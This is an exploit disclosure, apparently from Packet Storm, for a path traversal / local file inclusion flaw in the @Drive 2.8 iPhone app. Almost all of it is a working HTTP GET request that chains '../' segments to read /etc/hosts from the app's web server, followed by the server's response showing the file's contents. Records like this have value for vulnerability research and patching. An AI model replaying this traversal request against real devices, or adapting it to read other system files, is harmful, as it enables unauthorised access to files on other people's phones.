Share
## https://sploitus.com/exploit?id=PACKETSTORM:168316
# Exploit Title: @Drive 2.8 Local File inclusion  
# Date: Sep 8, 2022  
# Exploit Author: Chokri Hammedi  
# Vendor Homepage: https://evolutive.co/  
# Software Link: https://apps.apple.com/us/app/drive/id578982909  
# Version: 2.8  
# Tested on: iPhone ios 15.6  
  
GET /../../../../../../../../../../../../../../../../etc/hosts HTTP/1.1  
Host: 192.168.1.187  
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)  
AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e  
Safari/8536.25  
Accept: */*  
Referer: http://192.168.1.187/  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
  
  
--------  
  
HTTP/1.1 200 OK  
Content-Type: application/octet-stream  
Content-Length: 213  
Accept-Ranges: bytes  
Date: Thu, 08 Sep 2022 14:26:16 GMT  
  
##  
# Host Database  
#  
# localhost is used to configure the loopback interface  
# when the system is booting. Do not change this entry.  
##  
127.0.0.1 localhost  
255.255.255.255 broadcasthost  
::1 localhost